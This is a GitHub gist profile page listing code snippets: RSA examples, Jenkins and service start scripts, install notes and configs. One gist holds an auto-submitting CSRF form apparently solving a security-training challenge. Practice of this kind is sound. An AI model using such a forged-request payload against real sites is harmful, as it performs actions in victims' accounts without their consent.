Skip to content

Instantly share code, notes, and snippets.

View haint's full-sized avatar

Ethan Nguyen haint

  • FPT Software
  • Hanoi Vietnam
View GitHub Profile
@haint
haint / RsaExample.java
Created November 2, 2019 15:01 — forked from nielsutrecht/RsaExample.java
Example of RSA generation, sign, verify, encryption, decryption and keystores in Java
import javax.crypto.Cipher;
import java.io.InputStream;
import java.security.*;
import java.util.Base64;
import static java.nio.charset.StandardCharsets.UTF_8;
public class RsaExample {
public static KeyPair generateKeyPair() throws Exception {
KeyPairGenerator generator = KeyPairGenerator.getInstance("RSA");
@haint
haint / ccb-backend-cicd.sh
Created September 20, 2018 03:56
bitbucket cicd sample
cp $JENKINS_HOME/deployment-context/.env .
#rm ~/.ssh/known_hosts
#rm -rf /var/lib/jenkins/workspace/gitlab-repo/.git
if [ -e "run.pid" ]; then
if ! kill $(cat run.pid) > /dev/null 2>&1; then
echo "Could not send SIGTERM to process $(cat run.pid)" >&2
fi
fi
" Use spaces instead of tabs
set expandtab
" Be smart when using tabkey
set smarttab
" 1 tab == 4 spaces
set shiftwidth=2
set tabstop=2
@haint
haint / build-report.groovy
Created September 21, 2016 09:02 — forked from x-cray/build-report.groovy
Jenkins email-ext plugin groovy template. Generates build report. Based on http://techkriti.wordpress.com/2008/08/30/using-groovy-with-hudson-to-send-rich-text-email/
<!DOCTYPE html>
<head>
<title>Build report</title>
<style type="text/css">
body
{
margin: 0px;
padding: 15px;
}
@haint
haint / csrf
Created July 4, 2016 11:10
csrf
<html>
<body>
<form id="completeChallenge2" action="https://10.20.20.50/user/csrfchallengethree/plusplus" method="POST" >
<input type="hidden" name="userid" value="exampleId" />
<input type="submit"/>
</form>
<script>
document.forms["completeChallenge2"].submit();
</script>
</body>
@haint
haint / cloud-ats-portal
Created March 9, 2016 10:54
portal start script
#!/bin/sh
dir="/usr/share/cloud-ats-v1-portal"
user=""
cmd="npm start"
name=`basename $0`
stdout_log="/var/log/$name.log"
stderr_log="/var/log/$name.err"
publicip=`wget http://ipinfo.io/ip -qO -`
@haint
haint / rest
Last active March 17, 2016 09:37
rest start script
#!/bin/sh
dir="/usr/share/rest/bin"
user=""
cmd="bash rest"
name=`basename $0`
stdout_log="/var/log/$name.log"
stderr_log="/var/log/$name.err"
@haint
haint / cloudats_installation.txt
Last active February 24, 2016 04:20
CloudATS Installation Step by Step
@Note: Becarefully with default user in cloud. We shoud create our self-user
sudo adduser cloudats
sudo usermod -a -G sudo cloudats
== CloudATS Portal - Ubuntu Server 14.04 LTS ==
* Install MongoDB 3.0.5
sudo apt-key adv --keyserver hkp://keyserver.ubuntu.com:80 --recv 7F0CEB10
echo "deb http://repo.mongodb.org/apt/ubuntu trusty/mongodb-org/3.0 multiverse" | sudo tee /etc/apt/sources.list.d/mongodb-org-3.0.list
@haint
haint / jmeter-2.13
Created February 18, 2016 03:56
jmeter-2.13
#!/bin/sh
dir="/usr/share/jmeter-2.13/bin"
user=""
cmd="sh jmeter-server"
name=`basename $0`
pid_file="/var/run/$name.pid"
stdout_log="/var/log/$name.log"
stderr_log="/var/log/$name.err"
@haint
haint / x11vnc.conf
Created February 17, 2016 10:48
x11vnc.conf
start on login-session-start
script
x11vnc -xkb -noxrecord -noxfixes -noxdamage -repeat -display :0 -auth /home/cloudats/.XAUTHORITY/database -forever -shared -bg -o /var/log/x11vnc.log -rfbauth /home/cloudats/.vnc/passwd -rfbport 5900 -24to32
end script